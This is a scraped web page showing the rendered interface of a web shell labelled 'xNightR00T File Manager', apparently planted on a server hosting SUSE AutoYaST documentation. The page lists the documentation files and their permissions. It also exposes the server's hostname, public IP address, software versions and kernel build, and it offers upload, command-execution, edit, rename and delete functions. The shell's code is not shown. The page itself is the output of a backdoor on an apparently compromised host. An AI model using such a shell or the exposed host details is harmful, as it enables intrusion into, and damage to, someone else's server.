href="http://www.suse.com/ContactsOffices/contacts_offices.jsp" target="_top">Contact Us</a></li></ul></div></div></body></html>

Filemanager

Name	Type	Size	Permission
images	Folder		0755
static	Folder		0755
CreateProfile.html	File	17.26 KB	0644
Invoking.html	File	42.54 KB	0644
Profile.html	File	19.89 KB	0644
app.ay.docupdates.html	File	22.78 KB	0644
appendix.linuxrc.html	File	22.66 KB	0644
bk04apd.html	File	31.8 KB	0644
book.autoyast.html	File	30.16 KB	0644
configuration.html	File	262.86 KB	0644
handlingrules.html	File	8.58 KB	0644
index.html	File	30.16 KB	0644
introduction.html	File	15.04 KB	0644
rulesandclass.html	File	46.1 KB	0644

Name

Type

Size

Permission

Actions

images

Folder

0755

static

Folder

0755

CreateProfile.html

File

17.26 KB

0644

Invoking.html

File

42.54 KB

0644

Profile.html

File

19.89 KB

0644

app.ay.docupdates.html

File

22.78 KB

0644

appendix.linuxrc.html

File

22.66 KB

0644

bk04apd.html

File

31.8 KB

0644

book.autoyast.html

File

30.16 KB

0644

configuration.html

File

262.86 KB

0644

handlingrules.html

File

8.58 KB

0644

index.html

File

30.16 KB

0644

introduction.html

File

15.04 KB

0644

rulesandclass.html

File

46.1 KB

0644

Server Info

Hostname: sles125-zend-seiko

IP Address: 123.30.208.48

PHP Version: 7.4.19

Server Software: nginx/1.18.0

HDD Total Space: 38.02 GB

HDD Free Space: 4.39 GB

Total Domains in Server: 1

System: Linux sles125-zend-seiko 4.12.14-122.83-default #1 SMP Tue Aug 3 08:37:22 UTC 2021 (c86c48c) x86_64

System Info

Select Feature:

xNightR00T File Manager

Upload:

Command:

Filemanager

Server Info

System Info

User Info

xNightR00T File Manager

Edit File:

Create Folder

Create File

Change Permission

Rename

Confirm Delete

Upload:

Command:

Filemanager

Server Info

System Info

User Info